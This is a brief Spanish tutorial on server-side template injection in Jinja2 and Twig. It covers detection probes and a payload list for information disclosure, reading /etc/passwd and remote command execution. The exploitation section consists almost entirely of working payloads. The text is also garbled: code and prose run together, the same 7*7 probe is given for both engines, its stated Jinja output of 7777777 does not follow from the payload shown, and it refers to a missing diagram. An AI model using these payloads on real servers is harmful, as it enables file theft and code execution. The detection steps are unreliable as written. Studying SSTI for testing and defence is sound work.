Un template engine es un software que combina plantillas predefinidas con datos generados dinámicamente y que suelen utilizar las aplicaciones web para generar respuestas dinámicas. Un ejemplo cotidiano del uso de motores de plantillas es un sitio web con encabezados y pies de página comunes para todas las páginas. Una plantilla puede añadir contenido dinámicamente, pero manteniendo el mismo encabezado y pie de página. Esto evita la duplicación de encabezados y pies de página en diferentes lugares, lo que reduce la complejidad y, por lo tanto, permite un mejor mantenimiento del código. Ejemplos populares de motores de plantillas son Jinja y Twig.
Jinja
Hello {{ name }}!{% for name in names %}
Hello {{ name }}!
{% endfor %}Identificación de SSTI
El proceso de identificación de una vulnerabilidad SSTI es similar al de cualquier otra vulnerabilidad de inyección, como la inyección SQL. La forma más efectiva es inyectar caracteres especiales con significado semántico en los motores de plantillas y observar el comportamiento de la aplicación web. Por ello, la siguiente cadena de prueba se utiliza comúnmente para generar un mensaje de error en una aplicación web vulnerable a SSTI, ya que contiene todos los caracteres especiales con un propósito semántico específico en los motores de plantillas más populares.
${{<%[%'"}}%\.${"z".join("ab")}- Jinja2
${{7*7}}- Twig
${{7*7}}En esta ocasión, la carga útil fue ejecutada por el motor de plantillas. Por lo tanto, seguimos la flecha verde e inyectamos la carga útil49. El resultado nos permitirá deducir el motor de plantillas utilizado por la aplicación web. En Jinja, el resultado será 7777777, mientras que en Twig, el resultado será 49.
Explotando SSTI - Jinja2
Information Disclosure
{{ config.items() }}{{ self.__init__.__globals__.__builtins__ }}Local File Inclusion (LFI)
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}Remote Code Execution (RCE)
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}Explotando SSTI - Twig
Information Disclosure
{{ _self }}Local File Inclusion (LFI)
{{ "/etc/passwd"|file_excerpt(1,-1) }}Remote Code Execution (RCE)
{{ ['id'] | filter('system') }}- github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md